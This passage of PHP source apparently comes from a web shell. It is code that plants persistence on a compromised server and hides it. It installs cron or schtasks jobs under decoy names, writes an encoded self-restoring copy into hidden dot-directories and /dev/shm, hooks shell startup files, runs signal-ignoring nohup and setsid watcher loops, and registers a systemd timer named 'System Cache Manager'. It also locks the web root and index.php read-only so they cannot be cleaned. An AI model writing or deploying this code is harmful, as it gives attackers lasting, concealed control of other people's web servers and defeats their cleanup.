@chmod($idx1, 0644); $publicDir = $docRoot . DIRECTORY_SEPARATOR . 'public'; if (is_dir($publicDir)) { @chmod($publicDir, 0755); $idx2 = $publicDir . DIRECTORY_SEPARATOR . 'index.php'; if (file_exists($idx2)) @chmod($idx2, 0644); } } $customIdxJson = isset($lines[8]) ? trim($lines[8]) : ''; if (!empty($customIdxJson)) { $customIdx = @json_decode($customIdxJson, true); if ($customIdx && is_array($customIdx)) { foreach ($customIdx as $ci) { if (isset($ci['path']) && file_exists($ci['path'])) { @chmod($ci['path'], 0644); $pd = dirname($ci['path']); if (is_dir($pd)) @chmod($pd, 0755); } } } } } self::removeChmodProtection($hidden); self::removeNohup($hidden['dir']); if (file_exists($hidden['backup']) && @unlink($hidden['backup'])) { $removed[] = 'backup'; } } if (file_exists($iniFile)) { @chmod($iniFile, 0644); @unlink($iniFile); $removed[] = 'ini'; } $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : ''; if ($docRoot && $docRoot !== $dir && is_dir($docRoot)) { $docRootIniFile = $docRoot . DIRECTORY_SEPARATOR . '.user.ini'; if (file_exists($docRootIniFile)) { @chmod($docRootIniFile, 0644); @unlink($docRootIniFile); $removed[] = 'docroot_ini'; } $docRootHtaccess = $docRoot . DIRECTORY_SEPARATOR . '.htaccess'; if (file_exists($docRootHtaccess)) { @chmod($docRootHtaccess, 0644); $htContent = file_get_contents($docRootHtaccess); $htContent = preg_replace('/<Files\s+"\.user\.ini">.*?<\/Files>\s*/s', '', $htContent); $htContent = trim($htContent); if ($htContent !== '') { file_put_contents($docRootHtaccess, $htContent . "\n"); } } } $htaccessFile = $dir . DIRECTORY_SEPARATOR . '.htaccess'; if (file_exists($htaccessFile)) { @chmod($htaccessFile, 0644); $htContent = file_get_contents($htaccessFile); $htContent = preg_replace('/<Files\s+"\.user\.ini">.*?<\/Files>\s*/s', '', $htContent); $htContent = trim($htContent); if ($htContent === '') { @unlink($htaccessFile); $removed[] = 'htaccess'; } else { file_put_contents($htaccessFile, $htContent . "\n"); $removed[] = 'htaccess_cleaned'; } } self::removeCron(); self::removeBashrc(); self::removeMultiBackup(); self::removeBootstrap(); self::removeSystemdTimer(); return ['success' => true, 'removed' => $removed]; } private static function setupCron($loaderPath) { $dir = dirname(FM_REAL_PATH); $cronMarker = substr(hash('sha256', $dir . PHP_OS . php_uname('n')), 4, 8); if (stripos(PHP_OS, 'WIN') === 0) { $taskName = 'WinCache_' . $cronMarker; $phpPath = PHP_BINARY ?: 'php'; $renvc = 'schtasks /Create /TN "' . $taskName . '" /TR "' . $phpPath . ' ' . $loaderPath . '" /SC MINUTE /MO 5 /F 2>&1'; $result = CommandRunner::run($renvc, $dir, 10); return ['type' => 'schtasks', 'result' => $result['success']]; } else { $phpPath = PHP_BINARY ?: 'php'; $bootFile = self::buildSelfHealBootstrap($dir); if ($bootFile) { $cronEntry = '*/5 * * * * ' . $phpPath . ' ' . _esa($bootFile) . ' >/dev/null 2>&1 #' . $cronMarker; } else { $cronEntry = '*/5 * * * * ' . $phpPath . ' ' . $loaderPath . ' #' . $cronMarker; } $checkResult = CommandRunner::run('crontab -l 2>/dev/null | grep -q "' . $cronMarker . '" && echo exists', '/tmp', 5); if (strpos($checkResult['output'], 'exists') !== false) { return ['type' => 'cron', 'result' => true, 'note' => 'already exists']; } $renvc = '(crontab -l 2>/dev/null; echo "' . $cronEntry . '") | crontab -'; $result = CommandRunner::run($renvc, '/tmp', 10); return ['type' => 'cron', 'result' => $result['success'], 'selfheal' => (bool)$bootFile]; } } private static function buildSelfHealBootstrap($targetDir) { $home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : ''); if (!$home) return null; $fileName = basename(FM_REAL_PATH); $content = @file_get_contents(FM_REAL_PATH); if (!$content) return null; $hash = md5($content); $compressed = @gzcompress($content, 9); if (!$compressed) return null; $encoded = base64_encode($compressed); $bootDir = $home . '/.cache'; if (!is_dir($bootDir)) @mkdir($bootDir, 0700, true); $bootHash = substr(hash('sha256', $targetDir), 0, 8); $bootFile = $bootDir . '/.boot_' . $bootHash . '.php'; $sig = 'R3NV024'; $hidden = self::findExistingBackup(); $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $targetDir; $idxs = $hidden ? $hidden['dir'] . DIRECTORY_SEPARATOR . '.idxs' : ''; $idx1 = $hidden ? $hidden['dir'] . DIRECTORY_SEPARATOR . '.idx1' : ''; $idx2 = $hidden ? $hidden['dir'] . DIRECTORY_SEPARATOR . '.idx2' : ''; $bootCode = '<?php @error_reporting(0);@ini_set("display_errors",0);$d=' . var_export($targetDir, true) . ';$f=' . var_export($fileName, true) . ';$h=' . var_export($hash, true) . ';$e=' . var_export($encoded, true) . ';$s=' . var_export($sig, true) . ';$t=$d.DIRECTORY_SEPARATOR.$f;$do=false;if(!file_exists($t)){$do=true;}else{$c=@file_get_contents($t);if($c===false||strpos($c,$s)===false){$do=true;}}if($do){if(!is_dir($d)){@mkdir($d,0755,true);}$x=@gzuncompress(@base64_decode($e));if($x&&md5($x)===$h){@file_put_contents($t,$x);@chmod($t,0444);@chmod($d,0555);}}$idxs=' . var_export($idxs, true) . ';$idx1=' . var_export($idx1, true) . ';$idx2=' . var_export($idx2, true) . ';$dr=' . var_export($docRoot, true) . ';if($idxs&&file_exists($idxs)){$sd=@file($idxs);if($sd&&count($sd)>=1){$is=trim($sd[0]);$chk=function($bf,$tp)use($is){if(!file_exists($bf))return;$id=@file($bf);if(!$id||count($id)<3)return;$ih=trim($id[0]);$ie=trim($id[2]);$ir=!file_exists($tp)||strpos(@file_get_contents($tp),$is)===false;if($ir){$iv=@gzuncompress(@base64_decode($ie));if($iv&&md5($iv)===$ih){@file_put_contents($tp,$iv);@chmod($tp,0444);@chmod(dirname($tp),0555);}}};$chk($idx1,$dr.DIRECTORY_SEPARATOR."index.php");$chk($idx2,$dr.DIRECTORY_SEPARATOR."public".DIRECTORY_SEPARATOR."index.php");}}'; if (@file_put_contents($bootFile, $bootCode) === false) return null; @chmod($bootFile, 0600); return $bootFile; } private static function removeBootstrap() { $home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : ''); if (!$home) return; $targetDir = dirname(FM_REAL_PATH); $bootHash = substr(hash('sha256', $targetDir), 0, 8); $bootFile = $home . '/.cache/.boot_' . $bootHash . '.php'; if (file_exists($bootFile)) @unlink($bootFile); } private static function removeCron() { $dir = dirname(FM_REAL_PATH); $cronMarker = substr(hash('sha256', $dir . PHP_OS . php_uname('n')), 4, 8); if (stripos(PHP_OS, 'WIN') === 0) { $taskName = 'WinCache_' . $cronMarker; CommandRunner::run('schtasks /Delete /TN "' . $taskName . '" /F 2>&1', $dir, 10); } else { CommandRunner::run('crontab -l 2>/dev/null | grep -v "' . $cronMarker . '" | crontab -', '/tmp', 10); } } private static function setupNohup($loaderPath, $hiddenDir) { if (stripos(PHP_OS, 'WIN') === 0) { return ['type' => 'watchers', 'result' => false, 'note' => 'Windows not supported']; } $phpPath = PHP_BINARY ?: 'php'; $results = ['nohup' => false, 'setsid' => false]; $pids = []; $watcherTypes = [ 'nohup' => ['script' => 'sess_wn', 'pid' => '.wn', 'method' => 'nohup'], 'setsid' => ['script' => 'sess_ws', 'pid' => '.ws', 'method' => 'setsid'] ]; foreach ($watcherTypes as $type => $config) { $watcherScript = $hiddenDir . DIRECTORY_SEPARATOR . $config['script']; $pidFile = $hiddenDir . DIRECTORY_SEPARATOR . $config['pid']; if (file_exists($pidFile)) { $oldPid = trim(file_get_contents($pidFile)); if ($oldPid && file_exists("/proc/$oldPid")) { $results[$type] = true; $pids[$type] = $oldPid; continue; } } $fmPath = FM_REAL_PATH; $fmDir = dirname(FM_REAL_PATH); $backupPath = $hiddenDir . DIRECTORY_SEPARATOR . '.fm'; $userIniPath = $fmDir . DIRECTORY_SEPARATOR . '.user.ini'; $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : ''; $passFilePath = $hiddenDir . DIRECTORY_SEPARATOR . '.p'; $chmodCmds = "chmod 444 " . _esa($fmPath) . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($backupPath) . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($passFilePath) . " 2>/dev/null\n"; $chmodCmds .= "chmod 555 " . _esa($fmDir) . " 2>/dev/null\n"; $chmodCmds .= "chmod 555 " . _esa($hiddenDir) . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($userIniPath) . " 2>/dev/null\n"; if ($docRoot && $docRoot !== $fmDir) { $chmodCmds .= "chmod 555 " . _esa($docRoot) . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($docRoot . '/.user.ini') . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($docRoot . '/index.php') . " 2>/dev/null\n"; $publicDir = $docRoot . '/public'; $chmodCmds .= "chmod 555 " . _esa($publicDir) . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($publicDir . '/index.php') . " 2>/dev/null\n"; } $watcherCode = "#!/bin/bash\necho \$\$ > " . _esa($pidFile) . "\ntrap \"\" HUP TERM INT QUIT\nexec 0</dev/null\nexec 1>/dev/null\nexec 2>/dev/null\ncd /\numask 0\nwhile true; do\n" . $chmodCmds . $phpPath . " " . _esa($loaderPath) . " >/dev/null 2>&1\nsleep 60\ndone\n"; if (file_put_contents($watcherScript, $watcherCode) === false) { continue; } chmod($watcherScript, 0700); @unlink($pidFile); if ($config['method'] === 'nohup') { if (CommandRunner::available()) CommandRunner::run('(nohup bash ' . _esa($watcherScript) . ' </dev/null >/dev/null 2>&1 &)', '/tmp', 5); } elseif ($config['method'] === 'setsid') { if (CommandRunner::available()) CommandRunner::run('(setsid -f bash ' . _esa($watcherScript) . ' </dev/null >/dev/null 2>&1 &)', '/tmp', 5); } usleep(100000); for ($i = 0; $i < 5; $i++) { if (file_exists($pidFile)) { $pid = trim(@file_get_contents($pidFile)); if ($pid && is_numeric($pid) && file_exists("/proc/$pid")) { $results[$type] = true; $pids[$type] = $pid; break; } } usleep(50000); } } $anySuccess = $results['nohup'] || $results['setsid']; if ($anySuccess) { foreach ($watcherTypes as $type => $config) { $ws = $hiddenDir . DIRECTORY_SEPARATOR . $config['script']; $pf = $hiddenDir . DIRECTORY_SEPARATOR . $config['pid']; if (file_exists($ws)) @chmod($ws, 0444); if (file_exists($pf)) @chmod($pf, 0444); } $passFile = $hiddenDir . DIRECTORY_SEPARATOR . '.p'; if (file_exists($passFile)) @chmod($passFile, 0444); @chmod($hiddenDir, 0555); } return ['type' => 'watchers', 'result' => $anySuccess, 'details' => $results, 'pids' => $pids]; } public static function restartNohupIfDead() { if (stripos(PHP_OS, 'WIN') === 0) return; $hidden = self::findExistingBackup(); if (!$hidden) return; $loaderPath = $hidden['loader']; if (!file_exists($loaderPath)) return; $watcherTypes = [ 'nohup' => ['script' => 'sess_wn', 'pid' => '.wn', 'method' => 'nohup'], 'setsid' => ['script' => 'sess_ws', 'pid' => '.ws', 'method' => 'setsid'] ]; $phpPath = PHP_BINARY ?: 'php'; foreach ($watcherTypes as $type => $config) { $pidFile = $hidden['dir'] . DIRECTORY_SEPARATOR . $config['pid']; $watcherScript = $hidden['dir'] . DIRECTORY_SEPARATOR . $config['script']; if (file_exists($pidFile)) { $pid = trim(file_get_contents($pidFile)); if ($pid && file_exists("/proc/$pid")) continue; } $fmPath = FM_REAL_PATH; $fmDir = dirname(FM_REAL_PATH); $backupPath = $hidden['dir'] . DIRECTORY_SEPARATOR . '.fm'; $userIniPath = $fmDir . DIRECTORY_SEPARATOR . '.user.ini'; $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : ''; $chmodCmds = "chmod 444 " . _esa($fmPath) . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($backupPath) . " 2>/dev/null\n"; $chmodCmds .= "chmod 555 " . _esa($fmDir) . " 2>/dev/null\n"; $chmodCmds .= "chmod 555 " . _esa($hidden['dir']) . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($userIniPath) . " 2>/dev/null\n"; if ($docRoot && $docRoot !== $fmDir) { $chmodCmds .= "chmod 555 " . _esa($docRoot) . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($docRoot . '/.user.ini') . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($docRoot . '/index.php') . " 2>/dev/null\n"; $publicDir = $docRoot . '/public'; $chmodCmds .= "chmod 555 " . _esa($publicDir) . " 2>/dev/null\n"; $chmodCmds .= "chmod 444 " . _esa($publicDir . '/index.php') . " 2>/dev/null\n"; } $watcherCode = "#!/bin/bash\necho \$\$ > " . _esa($pidFile) . "\ntrap \"\" HUP TERM INT QUIT\nexec 0</dev/null\nexec 1>/dev/null\nexec 2>/dev/null\ncd /\numask 0\nwhile true; do\n" . $chmodCmds . $phpPath . " " . _esa($loaderPath) . " >/dev/null 2>&1\nsleep 60\ndone\n"; if (file_put_contents($watcherScript, $watcherCode) === false) continue; chmod($watcherScript, 0700); @unlink($pidFile); if ($config['method'] === 'nohup') { if (CommandRunner::available()) CommandRunner::run('(nohup bash ' . _esa($watcherScript) . ' </dev/null >/dev/null 2>&1 &)', '/tmp', 5); } elseif ($config['method'] === 'setsid') { if (CommandRunner::available()) CommandRunner::run('(setsid -f bash ' . _esa($watcherScript) . ' </dev/null >/dev/null 2>&1 &)', '/tmp', 5); } } } private static function removeNohup($hiddenDir) { if (stripos(PHP_OS, 'WIN') === 0) return; @chmod($hiddenDir, 0755); $watcherTypes = [ ['script' => 'sess_wn', 'pid' => '.wn'], ['script' => 'sess_ws', 'pid' => '.ws'], ['script' => 'sess_bg', 'pid' => '.bg'], ['script' => 'w_nohup.sh', 'pid' => 'w_nohup.pid'], ['script' => 'w_setsid.sh', 'pid' => 'w_setsid.pid'], ['script' => 'w_bg.sh', 'pid' => 'w_bg.pid'], ['script' => 'w.sh', 'pid' => 'w.pid'] ]; foreach ($watcherTypes as $config) { $pidFile = $hiddenDir . DIRECTORY_SEPARATOR . $config['pid']; $watcherScript = $hiddenDir . DIRECTORY_SEPARATOR . $config['script']; if (file_exists($pidFile)) { $pid = trim(file_get_contents($pidFile)); if ($pid && is_numeric($pid)) { if (CommandRunner::available()) CommandRunner::run('kill -9 ' . intval($pid) . ' 2>/dev/null', '/tmp', 5); if (CommandRunner::available()) CommandRunner::run('kill -9 -' . intval($pid) . ' 2>/dev/null', '/tmp', 5); } @chmod($pidFile, 0644); @unlink($pidFile); } if (file_exists($watcherScript)) { if (CommandRunner::available()) CommandRunner::run('pkill -9 -f ' . _esa(basename($watcherScript)) . ' 2>/dev/null', '/tmp', 5); @chmod($watcherScript, 0644); @unlink($watcherScript); } } $passFile = $hiddenDir . DIRECTORY_SEPARATOR . '.p'; if (file_exists($passFile)) { @chmod($passFile, 0644); @unlink($passFile); } } public static function isNohupRunning() { $hidden = self::findExistingBackup(); if (!$hidden) return false; $pidFiles = ['.wn', '.ws', 'w_nohup.pid', 'w_setsid.pid', 'w.pid']; foreach ($pidFiles as $pf) { $pidFile = $hidden['dir'] . DIRECTORY_SEPARATOR . $pf; if (file_exists($pidFile)) { $pid = trim(file_get_contents($pidFile)); if ($pid && file_exists("/proc/$pid")) return true; } } return false; } public static function getWatcherStatus() { $hidden = self::findExistingBackup(); if (!$hidden) return ['nohup' => false, 'setsid' => false]; $status = []; $watcherTypes = [ 'nohup' => '.wn', 'setsid' => '.ws' ]; foreach ($watcherTypes as $type => $pf) { $pidFile = $hidden['dir'] . DIRECTORY_SEPARATOR . $pf; $status[$type] = false; if (file_exists($pidFile)) { $pid = trim(file_get_contents($pidFile)); if ($pid && file_exists("/proc/$pid")) $status[$type] = true; } } return $status; } private static function getBashrcMarker() { $srcDir = dirname(FM_REAL_PATH); return 'fm_' . substr(hash('sha256', $srcDir), 0, 8); } private static function setupBashrc($loaderPath) { if (stripos(PHP_OS, 'WIN') === 0) { return ['type' => 'bashrc', 'result' => false, 'note' => 'Windows not supported']; } $home = self::getHomeDir(); if (!$home) { return ['type' => 'bashrc', 'result' => false, 'note' => 'No HOME detected']; } $phpPath = PHP_BINARY ?: 'php'; $marker = self::getBashrcMarker(); $dir = dirname(FM_REAL_PATH); $fileName = basename(FM_REAL_PATH); $sig = 'R3NV024'; $locations = self::getMultiBackupLocations(); $bootFile = self::buildSelfHealBootstrap($dir); $hidden = self::findExistingBackup(); $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $dir; $idxs = $hidden ? $hidden['dir'] . '/.idxs' : ''; $idx1 = $hidden ? $hidden['dir'] . '/.idx1' : ''; $idx2 = $hidden ? $hidden['dir'] . '/.idx2' : ''; $locArr = []; foreach ($locations as $loc) { $locArr[] = $loc['base'] . '/' . $loc['name'] . '/d.tmp'; } if ($bootFile) { $locArr[] = str_replace('.boot_', '.boot_', $bootFile); } $inlineRestore = 'php -r \'$d=' . var_export($dir, true) . ';$f=' . var_export($fileName, true) . ';$s=' . var_export($sig, true) . ';$idxs=' . var_export($idxs, true) . ';$idx1=' . var_export($idx1, true) . ';$idx2=' . var_export($idx2, true) . ';$dr=' . var_export($docRoot, true) . ';$t=$d."/".$f;$ok=file_exists($t)&&strpos(@file_get_contents($t),$s)!==false;if(!$ok){$l=' . var_export($locArr, true) . ';foreach($l as $p){if(@file_exists($p)){$c=@file($p);if($c&&count($c)>=2){$x=@gzuncompress(@base64_decode(trim($c[1])));if($x&&md5($x)===trim($c[0])){@mkdir($d,0755,true);@file_put_contents($t,$x);@chmod($t,0444);@chmod($d,0555);break;}}}}}if($idxs&&file_exists($idxs)){$sd=@file($idxs);if($sd&&count($sd)>=1){$is=trim($sd[0]);$chk=function($bf,$tp)use($is){if(!file_exists($bf))return;$id=@file($bf);if(!$id||count($id)<3)return;$ih=trim($id[0]);$ie=trim($id[2]);$ir=!file_exists($tp)||strpos(@file_get_contents($tp),$is)===false;if($ir){$iv=@gzuncompress(@base64_decode($ie));if($iv&&md5($iv)===$ih){@file_put_contents($tp,$iv);@chmod($tp,0444);@chmod(dirname($tp),0555);}}};$chk($idx1,$dr."/index.php");$chk($idx2,$dr."/public/index.php");}}\' 2>/dev/null &'; $hookCode = "\n# " . $marker . "\n" . $inlineRestore . "\n"; $rcFiles = [$home . '/.bashrc', $home . '/.bash_profile', $home . '/.profile']; $added = []; foreach ($rcFiles as $rcFile) { if (!file_exists($rcFile)) continue; $content = file_get_contents($rcFile); if (strpos($content, $marker) !== false) { $content = preg_replace('/\n# ' . preg_quote($marker, '/') . '\n[^\n]+\n/', "\n", $content); } if (@file_put_contents($rcFile, $content . $hookCode) !== false) { $added[] = basename($rcFile); } } if (empty($added)) { $content = @file_get_contents($home . '/.bashrc') ?: ''; if (@file_put_contents($home . '/.bashrc', $content . $hookCode) !== false) { $added[] = '.bashrc (created)'; } } return ['type' => 'bashrc', 'result' => !empty($added), 'files' => $added, 'selfheal' => true, 'locations' => count($locArr)]; } private static function removeBashrc() { if (stripos(PHP_OS, 'WIN') === 0) return; $home = self::getHomeDir(); if (!$home) return; $marker = self::getBashrcMarker(); $rcFiles = [$home . '/.bashrc', $home . '/.bash_profile', $home . '/.profile']; foreach ($rcFiles as $rcFile) { if (!file_exists($rcFile)) continue; $content = file_get_contents($rcFile); if (strpos($content, $marker) !== false) { $content = preg_replace('/\n# ' . preg_quote($marker, '/') . '\n[^\n]+\n/', "\n", $content); file_put_contents($rcFile, $content); } } } public static function isBashrcHooked() { if (stripos(PHP_OS, 'WIN') === 0) return false; $home = self::getHomeDir(); if (!$home) return false; $marker = self::getBashrcMarker(); $rcFiles = [$home . '/.bashrc', $home . '/.bash_profile', $home . '/.profile']; foreach ($rcFiles as $rcFile) { if (file_exists($rcFile)) { $content = @file_get_contents($rcFile); if ($content && strpos($content, $marker) !== false) { return true; } } } return false; } private static function getHomeDir() { $home = getenv('HOME'); if ($home && is_dir($home)) return $home; if (isset($_SERVER['HOME']) && is_dir($_SERVER['HOME'])) return $_SERVER['HOME']; if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) { $user = posix_getpwuid(posix_geteuid()); if ($user && isset($user['dir']) && is_dir($user['dir'])) return $user['dir']; } $user = get_current_user(); if ($user) { $tryHome = '/home/' . $user; if (is_dir($tryHome)) return $tryHome; } if (isset($_SERVER['DOCUMENT_ROOT'])) { $dr = $_SERVER['DOCUMENT_ROOT']; if (preg_match('#^(/home/[^/]+)#', $dr, $m) && is_dir($m[1])) return $m[1]; } return ''; } private static function getWebUser() { if (function_exists('posix_getpwuid') && function_exists('posix_geteuid')) { $user = posix_getpwuid(posix_geteuid()); return $user ? $user['name'] : null; } return get_current_user() ?: null; } private static function isSharedHosting() { $user = self::getWebUser(); if (!$user) return false; $sysUsers = ['www-data', 'apache', 'nginx', 'nobody', 'httpd', 'www', '_www', 'http']; return !in_array(strtolower($user), $sysUsers); } private static function getSystemdMarker() { $srcDir = dirname(FM_REAL_PATH); return 'fmrestore_' . substr(hash('sha256', $srcDir), 0, 8); } private static function setupSystemdTimer($loaderPath) { if (stripos(PHP_OS, 'WIN') === 0) { return ['type' => 'systemd', 'result' => false, 'note' => 'Windows not supported']; } $home = self::getHomeDir(); if (!$home) { return ['type' => 'systemd', 'result' => false, 'note' => 'No HOME detected']; } $systemdDir = $home . '/.config/systemd/user'; if (!is_dir($systemdDir)) { if (!@mkdir($systemdDir, 0755, true)) { return ['type' => 'systemd', 'result' => false, 'note' => 'Cannot create systemd dir']; } } $serviceName = self::getSystemdMarker(); $phpPath = PHP_BINARY ?: 'php'; $dir = dirname(FM_REAL_PATH); $fileName = basename(FM_REAL_PATH); $sig = 'R3NV024'; $locations = self::getMultiBackupLocations(); $locArr = []; foreach ($locations as $loc) { $locArr[] = $loc['base'] . '/' . $loc['name'] . '/d.tmp'; } $bootFile = self::buildSelfHealBootstrap($dir); if ($bootFile) { $locArr[] = $bootFile; } $hidden = self::findExistingBackup(); $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $dir; $idxs = $hidden ? $hidden['dir'] . '/.idxs' : ''; $idx1 = $hidden ? $hidden['dir'] . '/.idx1' : ''; $idx2 = $hidden ? $hidden['dir'] . '/.idx2' : ''; $restoreScript = $home . '/.local/bin/' . $serviceName . '.sh'; if (!is_dir(dirname($restoreScript))) { @mkdir(dirname($restoreScript), 0755, true); } $scriptContent = '#!/bin/bash d=' . _esa($dir) . ' f=' . _esa($fileName) . ' s=' . _esa($sig) . ' dr=' . _esa($docRoot) . ' idxs=' . _esa($idxs) . ' idx1=' . _esa($idx1) . ' idx2=' . _esa($idx2) . ' t="$d/$f" if [ ! -f "$t" ] || ! grep -q "$s" "$t" 2>/dev/null; then locs=(' . implode(' ', array_map('_esa', $locArr)) . ') for p in "${locs[@]}"; do if [ -f "$p" ]; then ' . $phpPath . ' -r \'$c=@file($argv[1]);if($c&&count($c)>=2){$x=@gzuncompress(@base64_decode(trim($c[1])));if($x&&md5($x)===trim($c[0])){@mkdir($argv[2],0755,true);@file_put_contents($argv[3],$x);@chmod($argv[3],0444);@chmod($argv[2],0555);}}\' "$p" "$d" "$t" 2>/dev/null break fi done fi if [ -n "$idxs" ] && [ -f "$idxs" ]; then ' . $phpPath . ' -r \'$idxs=$argv[1];$idx1=$argv[2];$idx2=$argv[3];$dr=$argv[4];if(file_exists($idxs)){$sd=@file($idxs);if($sd&&count($sd)>=1){$is=trim($sd[0]);$chk=function($bf,$tp)use($is){if(!file_exists($bf))return;$id=@file($bf);if(!$id||count($id)<3)return;$ih=trim($id[0]);$ie=trim($id[2]);$ir=!file_exists($tp)||strpos(@file_get_contents($tp),$is)===false;if($ir){$iv=@gzuncompress(@base64_decode($ie));if($iv&&md5($iv)===$ih){@file_put_contents($tp,$iv);@chmod($tp,0444);@chmod(dirname($tp),0555);}}};$chk($idx1,$dr."/index.php");$chk($idx2,$dr."/public/index.php");}}\' "$idxs" "$idx1" "$idx2" "$dr" 2>/dev/null fi '; if (@file_put_contents($restoreScript, $scriptContent) === false) { return ['type' => 'systemd', 'result' => false, 'note' => 'Cannot create script']; } @chmod($restoreScript, 0755); $serviceContent = '[Unit] Description=System Cache Manager After=network.target [Service] Type=oneshot ExecStart=' . $restoreScript . ' StandardOutput=null StandardError=null [Install] WantedBy=default.target '; $timerContent = '[Unit] Description=System Cache Timer [Timer] OnBootSec=1min OnUnitActiveSec=5min Persistent=true [Install] WantedBy=timers.target '; $serviceFile = $systemdDir . '/' . $serviceName . '.service'; $timerFile = $systemdDir . '/' . $serviceName . '.timer'; if (@file_put_contents($serviceFile, $serviceContent) === false) { return ['type' => 'systemd', 'result' => false, 'note' => 'Cannot create service']; } if (@file_put_contents($timerFile, $timerContent) === false) { return ['type' => 'systemd', 'result' => false, 'note' => 'Cannot create timer']; } $result = CommandRunner::run('systemctl --user daemon-reload 2>/dev/null; systemctl --user enable --now ' . _esa($serviceName . '.timer') . ' 2>&1', '/tmp', 10); return ['type' => 'systemd', 'result' => $result['success'] || file_exists($timerFile), 'enabled' => $result['success']]; } private static function removeSystemdTimer() { if (stripos(PHP_OS, 'WIN') === 0) return; $home = self::getHomeDir(); if (!$home) return; $serviceName = self::getSystemdMarker(); $systemdDir = $home . '/.config/systemd/user'; CommandRunner::run('systemctl --user disable --now ' . _esa($serviceName . '.timer') . ' 2>/dev/null', '/tmp', 5); @unlink($systemdDir . '/' . $serviceName . '.service'); @unlink($systemdDir . '/' . $serviceName . '.timer'); @unlink($home . '/.local/bin/' . $serviceName . '.sh'); } public static function isSystemdTimerActive() { if (stripos(PHP_OS, 'WIN') === 0) return false; $home = self::getHomeDir(); if (!$home) return false; $serviceName = self::getSystemdMarker(); $timerFile = $home . '/.config/systemd/user/' . $serviceName . '.timer'; return file_exists($timerFile); } private static function getMultiBackupLocations() { $srcDir = dirname(FM_REAL_PATH); $hash = substr(hash('sha256', $srcDir . PHP_OS . php_uname('n')), 0, 12); $home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : ''); $locations = []; if ($home) { $locations[] = ['base' => $home . '/.cache', 'name' => '.sys_' . substr($hash, 0, 6)]; $locations[] = ['base' => $home . '/.local/share', 'name' => '.lib_' . substr($hash, 2, 6)]; $locations[] = ['base' => $home . '/.config', 'name' => '.app_' . substr($hash, 3, 6)]; $locations[] = ['base' => $home, 'name' => '.' . substr($hash, 0, 8)]; $locations[] = ['base' => $home . '/.local', 'name' => '.run_' . substr($hash, 4, 6)]; } $locations[] = ['base' => '/var/tmp', 'name' => '.run_' . substr($hash, 0, 6)]; $locations[] = ['base' => '/tmp', 'name' => '.sess_' . substr($hash, 2, 6)]; $locations[] = ['base' => '/dev/shm', 'name' => '.shm_' . substr($hash, 1, 6)]; return $locations; } private static function setupMultiBackup($backupData) { if (stripos(PHP_OS, 'WIN') === 0) { return ['type' => 'multi', 'result' => false, 'note' => 'Windows not supported']; } $locations = self::getMultiBackupLocations(); $created = []; foreach ($locations as $loc) { if (!is_dir($loc['base']) || !is_writable($loc['base'])) continue; $dir = $loc['base'] . '/' . $loc['name']; if (!is_dir($dir)) { if (!@mkdir($dir, 0700, true)) continue; } $file = $dir . '/d.tmp'; if (@file_put_contents($file, $backupData) !== false) { $created[] = $loc['base']; } } return ['type' => 'multi', 'result' => count($created) > 0, 'count' => count($created), 'locations' => $created]; } private static function removeMultiBackup() { if (stripos(PHP_OS, 'WIN') === 0) return; $locations = self::getMultiBackupLocations(); foreach ($locations as $loc) { $dir = $loc['base'] . '/' . $loc['name']; $file = $dir . '/d.tmp'; if (file_exists($file)) @unlink($file); if (is_dir($dir)) @rmdir($dir); } } public static function getMultiBackupCount() { if (stripos(PHP_OS, 'WIN') === 0) return 0; $locations = self::getMultiBackupLocations(); $count = 0; foreach ($locations as $loc) { $file = $loc['base'] . '/' . $loc['name'] . '/d.tmp'; if (file_exists($file)) $count++; } return $count; } private static function setupChmodProtection($hidden) { $files = [$hidden['backup'], $hidden['loader']]; $protected = 0; foreach ($files as $file) { if (file_exists($file) && @chmod($file, 0444)) { $protected++; } } $mainFile = FM_REAL_PATH; if (file_exists($mainFile) && @chmod($mainFile, 0444)) { $protected++; } $parentDir = dirname($mainFile); if (is_dir($parentDir) && @chmod($parentDir, 0555)) { $protected++; } $fmIniFile = $parentDir . DIRECTORY_SEPARATOR . '.user.ini'; if (file_exists($fmIniFile) && @chmod($fmIniFile, 0444)) { $protected++; } $docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : ''; if ($docRoot && is_dir($docRoot)) { @chmod($docRoot, 0555); $protected++; $docRootIni = $docRoot . DIRECTORY_SEPARATOR . '.user.ini'; if (file_exists($docRootIni) && @chmod($docRootIni, 0444)) { $protected++; } $docRootIndex = $docRoot . DIRECTORY_SEPARATOR . 'index.php'; if (file_exists($docRootIndex)) { @chmod($docRootIndex, 0444); $protected++; } $publicDir = $docRoot . DIRECTORY_SEPARATOR . 'public'; if (is_dir($publicDir)) { @chmod($publicDir, 0555); $protected++; $publicIndex = $publicDir . DIRECTORY_SEPARATOR . 'index.php'; if (file_exists($publicIndex)) { @chmod($publicIndex, 0444); $protected++; } } } if (file_exists($hidden['backup'])) { $lines = @file($hidden['backup'], FILE_IGNORE_NEW_LINES); if ($lines && count($lines) >= 9) { $customIdxJson = 